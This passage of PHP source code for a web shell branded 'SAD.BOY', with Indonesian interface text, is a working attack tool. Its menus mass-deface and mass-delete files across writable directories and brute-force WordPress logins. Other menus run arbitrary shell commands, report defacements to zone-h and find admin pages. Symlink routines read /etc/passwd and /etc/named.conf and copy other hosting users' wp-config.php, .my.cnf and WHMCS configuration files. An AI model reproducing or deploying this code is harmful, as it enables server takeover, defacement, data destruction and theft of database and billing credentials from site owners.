= 1073741824) return sprintf('%1.2f', $s / 1073741824).' GB'; elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) .' MB'; elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) .' KB'; else return $s .' B'; } if(get_magic_quotes_gpc()) { function jas_ss($array) { return is_array($array) ? array_map('jas_ss', $array) : stripslashes($array); } $_POST = jas_ss($_POST); $_COOKIE = jas_ss($_COOKIE); } $kernel = php_uname(); $ip = gethostbyname($_SERVER['HTTP_HOST']); $freespace = hdd(disk_free_space("/")); $total = hdd(disk_total_space("/")); $used = $total - $freespace; $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF"; $ds = @ini_get("disable_functions"); $mysql = (function_exists('mysql_connect')) ? "ON" : "OFF"; $curl = (function_exists('curl_version')) ? "ON" : "OFF"; $wget = (exe('wget --help')) ? "ON" : "OFF"; $perl = (exe('perl --help')) ? "ON" : "OFF"; $python = (exe('python --help')) ? "ON" : "OFF"; $show_ds = (!empty($ds)) ? "$ds" : "NONE"; if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } echo '

SAD.BOY

IP: '.$ip.' My IP: '.$_SERVER['REMOTE_ADDR'].'
User: '.$user.' ['.$uid.'] Group: '.$group.' ['.$gid.']
HDD: '.$used.'/'.$total.' Free: '.$freespace.'
Software: '.$_SERVER['SERVER_SOFTWARE'].'
Safe Mode: '.$sm.'
PHP Version: '.phpversion().'
Disable Functions: '.$show_ds.'
MySql: '.$mysql.'|Perl: '.$perl.'|Python: '.$python.' WGET: '.$wget.'|CURL: '.$curl.'
System: '.$kernel.'
'; foreach($path as $id=>$sentuh){ if($sentuh == '' && $id == 0){ $a = true; echo '/'; continue; } if($sentuh == '') continue; echo ''.$sentuh.'/'; } echo '
'; /*new file*/ if(isset($_POST['simpanaja'])){ $buat_file = $action.'/'.htmlspecialchars($_POST['buat_file']); $fp = fopen($buat_file, "a+"); if($fp){ echo ''; } else { echo "
Gagal Menambah File Baru
"; } } /*new dir*/ if(isset($_POST['simpan'])){ $mkdir = $action.'/'.$_POST['buat_dir']; $buat_dir = mkdir($mkdir); if($buat_dir){ echo "
Folder Telah Di-buat
"; } else { echo "
Gagal Menambah Folder
"; } } /*All menu tools Shell*/ /*zoneh*/ if ($_GET['menu'] == 'zoneh') { echo '
'; if ($_POST['submit']) { $domain = explode("\r\n", $_POST['url']); $nick = $_POST['nick']; echo "Defacer Onhold : http://www.zone-h.org/archive/notifier=$nick/published=0
"; echo "Defacer Archive : http://www.zone-h.org/archive/notifier=$nick
"; function zoneh($url, $nick) { $ch = curl_init("http://www.zone-h.com/notify/single"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send"); return curl_exec($ch); curl_close($ch); } foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) { echo "$url -> OK
"; } else { echo "$url -> ERROR
"; } } } else { echo "
Zone H
"; } /*Mass Deface*/ } elseif($_GET['menu'] == 'mass_deface'){ echo '
'; function sabun_massal($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[Selesai] $lokasi
"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc,$namafile,$isi_script); } } } } } } function sabun_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[Selesai] $dirb/$namafile
"; file_put_contents($lokasi, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe_sabun'] == 'mahal') { echo "
"; sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } elseif($_POST['tipe_sabun'] == 'murah') { echo "
"; sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } } else { echo "
Mass Deface
Regular Massal
"; echo '
'; } /*Mass Delete*/ } elseif($_GET['menu'] == 'mass_delete'){ echo '
'; function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if ($dirb === '.') { if (file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif ($dirb === '..') { if (file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lokasi)) { echo "[Dihapus] $lokasi
"; unlink($lokasi); $idx = hapus_massal($dirc, $namafile); } } } } } } } if ($_POST['start']) { echo "
"; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "
"; } else { echo "
Mass Delete
"; echo '
'; } /*WordPress BruteForce*/ } elseif($_GET['menu'] == 'wpbf'){ echo '
'; class Wp{ private $url_target; private $username; private $open; private $wordlist; public function form() { echo '
WordPress Brute Force
'; echo '
WordPress Brute Force
'; echo '
'; } public function post() { $this->url_target = $_POST['url_target']; $this->username = $_POST['username']; $this->open = $_POST['wordlist']; } public function wpLogin() { if(preg_match("@/wp-login.php@", $this->url_target)) { return true; } else { $this->url_target = $_POST['url_target']."/wp-login.php"; } } public function bruteForce() { $wordlist = array_filter(explode("\n", $this->open)); foreach($wordlist as $this->wordlist) { for($i=0; $i < count($this->wordlist); $i++) { $this->Xcurl(); } } } private function listArray() { echo "Username: {$this->username} Password: {$this->wordlist}
"; } private function Xcurl() { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $this->url_target); curl_setopt($curl, CURLOPT_USERAGENT, $this->useragent); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, "log=$this->username&pwd=$this->wordlist&wp-submit=Login&redirect_to=$this->url_target/wp-admin/"); $exec = curl_exec($curl); $http = curl_getinfo($curl, CURLINFO_HTTP_CODE); $this->listArray(); if($http == 302) { echo "Correct Password
"; exit; } else { echo "Password Wrong
"; } curl_close($curl); } } $wp = new Wp(); $wp->useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"; $wp->form(); $wp->post(); $wp->wpLogin(); $wp->bruteForce(); echo '
'; /*csrf exploiter*/ } elseif($_GET['menu'] == 'csrf'){ echo '
'; echo '
Csrf Exploiter
'; $url_target = $_POST['url']; $post_file = $_POST['post_file']; $kunci_target = $_POST['kunci_target']; if($kunci_target){ echo "
"; } /*adminer*/ } elseif($_GET['menu'] == 'adminer') { echo '
'; $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); function adminer($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if (file_exists('adminer.php')) { echo "
Adminer Sukses Dibuat
"; } else { if (adminer("https://www.adminer.org/static/download/4.7.6/adminer-4.7.6.php", "adminer.php")) { echo "
Adminer Sukses Dibuat
"; } else { echo "
Adminer Gagal Dibuat
"; } } echo "
"; /*Admin Finder*/ } elseif($_GET['menu'] == 'admin_finder'){ echo '
'; echo '
Admin Finder
'; function xss_protect($data, $strip_tags = false, $allowed_tags = "") { if($strip_tags) { $data = strip_tags($data, $allowed_tags . ""); } if(stripos($data, "script") !== false) { $result = str_replace("script","script", htmlentities($data, ENT_QUOTES)); } else { $result = htmlentities($data, ENT_QUOTES); } return $result; } function urlExist($url){ $handle = curl_init($url); if (false === $handle){ return false; } curl_setopt($handle, CURLOPT_HEADER, false); curl_setopt($handle, CURLOPT_FAILONERROR, true); curl_setopt($handle, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") ); // request as if Firefox curl_setopt($handle, CURLOPT_NOBODY, true); curl_setopt($handle, CURLOPT_RETURNTRANSFER, false); $connectable = curl_exec($handle); curl_close($handle); return $connectable; } echo '
Admin Finder
'; echo '
'; if(isset($_POST['submit']) && isset($_POST['url'])){ $url= htmlentities(xss_protect($_POST['url'])); if(filter_var($url, FILTER_VALIDATE_URL)){ $trying = array('admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/', 'usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/', 'panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php', 'admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php', 'admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html', 'admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php', 'bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php', 'admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html', 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html', 'panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php', 'nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php', 'administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php', 'bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html', 'login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php', 'pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php', 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php', 'adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php', 'admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html', 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html', 'login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html', 'panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html', 'adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html', 'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php', 'adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php', 'panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php', 'adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php', 'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin.asp','admin/admin.asp', 'admin_area/admin.asp','admin_area/login.asp','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp', 'bb-admin/admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','user.asp','webadmin/index.asp', 'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp', 'adminLogin.asp','admin/adminLogin.asp','home.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp', 'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp', 'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2/login.asp','admin2/index.asp','adm/index.asp', 'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp'); foreach($trying as $sec){ $urll=$url.'/'.$sec; if(urlExist($urll)){ echo ''.$urll.' => Posible
'; exit; } else { echo ''.$urll.' => Not Posible
'; } } echo '
'; echo '
'; echo '
Tidak Dapat Menemukan Admin Page
'; } else { echo '
URL Yang Dimasukkan Tidak Valid!
'; } echo '
'; } /*command*/ } elseif($_GET['menu'] == 'command'){ echo '
'; echo 'Command
ln -s / Dirname => Make Dir Symlink
rm - s / Dirname => Delete Dir Symlink
'; if($_POST['submit_cmd']){ echo exe($_POST['cmd']); } /*Symlink*/ } elseif (isset($_GET['menu']) && ($_GET['menu'] == 'symlink')) { echo '
'; echo "
"; @set_time_limit(0); echo "
"; @mkdir('J.A.S_Sym', 0777); $htaccess = "Options all \n DirectoryIndex sym.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $write = @fopen ('J.A.S_Sym/.htaccess', 'w'); fwrite($write, $htaccess); @symlink('/', 'J.A.S_Sym/root'); $filelocation = basename(__FILE__); $read_named_conf = @file('/etc/named.conf'); if (!$read_named_conf) { echo "

Cant access this file on server -> [ /etc/named.conf ]
"; } else { echo "
"; foreach ($read_named_conf as $subject) { if (eregi('zone', $subject)) { preg_match_all('#zone "(.*)"#', $subject, $string); flush(); if (strlen(trim($string[1][0])) > 2) { $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); $name = $UID['name']; @symlink('/', 'JAS_symlink/root'); $name = $string[1][0]; $iran = '\.ir'; $israel = '\.il'; $indo = '\.id'; $sg12 = '\.sg'; $edu = '\.edu'; $gov = '\.gov'; $gose = '\.go'; $gober = '\.gob'; $mil1 = '\.mil'; $mil2 = '\.mi'; if (eregi("$iran", $string[1][0]) or eregi("$israel", $string[1][0]) or eregi("$indo", $string[1][0]) or eregi("$sg12", $string[1][0]) or eregi ("$edu", $string[1][0]) or eregi ("$gov", $string[1][0]) or eregi ("$gose", $string[1][0]) or eregi("$gober", $string[1][0]) or eregi("$mil1", $string[1][0]) or eregi ("$mil2", $string[1][0])) { $name = "".$string[1][0].''; } echo ""; flush(); } } } } echo "
Domain
users
Symlink
".$name."
".$UID['name']."
Symlink

"; /*jumping*/ } elseif ($_GET['menu'] == 'jumping') { $i = 0; echo '
'; $etc = fopen("/etc/passwd", "r") or die("
Can't read /etc/passwd
"); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "
Can't read /etc/passwd
"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach ($user_jumping[1] as $user_jefri_jump) { $user_jumping_dir = "/home/$user_jefri_jump/public_html"; if (is_readable($user_jumping_dir)) { $i++; $jrw = "
[R] $user_jumping_dir
"; if (is_writable($user_jumping_dir)) { $jrw = "
[RW] $user_jumping_dir
"; } echo $jrw; if (function_exists('posix_getpwuid')) { $domain_jump = file_get_contents("/etc/named.conf"); if ($domain_jump == '') { echo "
( gagal mengambil nama domain! )

"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj")); $user_jumping_url = $user_jumping_url['name']; if ($user_jumping_url == $user_jefri_jump) { echo "
( $dj )
"; break; } } } } else { echo "
"; } } } } } if ($i == 0) {} else { echo "
Total ada ".$i." Kamar ada ".gethostbyname($_SERVER['HTTP_HOST'])."
"; echo "
"; } /*Bypass Symlink 500 Internal*/ } elseif($_GET['menu'] == 'bypass_sym'){ echo '
'; if (strtolower(substr(PHP_OS, 0, 3)) == "win") { echo ''; exit; } else { if ($_POST['conf']) { $home = $_POST['home']; $folfig = $home; @mkdir($folfig, 0755); @chdir($folfig); $htaccess = $_POST['4LF45T']; file_put_contents(".htaccess", $htaccess, FILE_APPEND); $passwd = explode("\n", $_POST["passwd"]); foreach ($passwd as $pwd) { $user = trim($pwd); symlink('/', 'Symlink_V2'); copy('/'.$home.'/'.$user.'/.my.cnf', $user.' CPANEL'); symlink('/'.$home.'/'.$user.'/.my.cnf', $user.' CPANEL'); copy('/'.$home.'/'.$user.'/.accesshash', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/.accesshash', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/suspended.page/index.html', $user.' RESELLER.txt'); symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html', $user.' RESELLER.txt'); symlink('/'.$home.'/'.$user.'/public_html/.accesshash', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/configuration.php', $user.' WHMCS or JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/account/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/accounts/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/buy/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/checkout/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/central/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/clienti/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/client/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/cliente/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/clientes/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/clients/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/clientarea/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/clientsarea/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/client-area/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/clients-area/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/clientzone/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/client-zone/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/core/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/company/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/customer/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/customers/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/bill/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/billing/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/finance/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/financeiro/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/host/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/hosts/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/hosting/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/hostings/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/klien/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/manage/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/manager/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/member/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/members/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/my/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/myaccount/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/my-account/client/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/myaccounts/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/my-accounts/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/order/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/orders/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/painel/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/panel/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/panels/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/portal/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/portals/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/purchase/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/secure/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/support/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/supporte/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/supports/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/web/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/webhost/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/webhosting/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/whm/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/whmcs/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/whmcs2/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/Whm/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/Whmcs/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/WHM/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/WHMCS/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/configuration.php', $user.' WHMCS or JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/account/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/accounts/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/buy/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/checkout/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/central/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/clienti/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/client/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/cliente/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/clientes/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/clients/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/clientarea/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/clientsarea/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/client-area/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/clients-area/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/clientzone/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/client-zone/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/core/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/company/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/customer/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/customers/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/bill/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/billing/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/finance/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/financeiro/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/host/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/hosts/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/hosting/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/hostings/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/klien/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/manage/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/manager/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/member/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/members/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/my/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/myaccount/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/my-account/client/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/myaccounts/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/my-accounts/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/order/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/orders/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/painel/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/panel/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/panels/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/portal/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/portals/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/purchase/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/secure/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/support/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/supporte/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/supports/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/web/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/webhost/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/webhosting/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/whm/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/whmcs/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/whmcs2/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/Whm/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/Whmcs/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/WHM/configuration.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/WHMCS/configuration.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/wp/test/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/blog/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/beta/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/portal/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/site/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/wp/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/WP/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/news/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/wordpress/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/test/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/demo/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/home/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/v1/wp-config.php', 